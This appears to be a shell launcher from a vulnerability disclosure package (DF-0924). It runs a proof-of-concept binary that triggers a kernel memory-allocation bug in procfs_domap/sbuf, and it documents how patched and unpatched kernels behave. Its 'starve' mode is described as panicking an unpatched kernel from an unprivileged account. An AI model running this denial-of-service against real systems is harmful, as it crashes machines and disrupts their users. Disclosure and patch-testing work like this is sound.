#!/bin/sh
# DF-0924 — run the PoC as the unprivileged user.
#
# Two modes:
#   ./run.sh             -> ./alloc_dos --time      (cleanest proof; safe)
#   ./run.sh starve      -> ./alloc_dos --starve 4 8 (CRASHES unpatched kernel)
#
# On the UNPATCHED kernel:
#   --time       huge-resid pread takes ~2.5 s vs ~60 µs (kernel kmalloc+zero
#                of ~2 GiB up front, controlled by the caller's read length).
#   --starve     panics the kernel: "sbuf: malloc limit exceeded" in
#                procfs_domap -> sbuf_new -> kmalloc.
#
# On the PATCHED kernel (fix.diff applied):
#   --time       huge-resid pread takes ~1-5 ms (capped at 1 MiB).
#   --starve     no panic, freemem barely moves (~4 MiB delta).
set -e
cd "$(dirname "$0")"
if [ "${1:-}" = "starve" ]; then
    ./alloc_dos --starve 4 8
else
    ./alloc_dos --time
fi
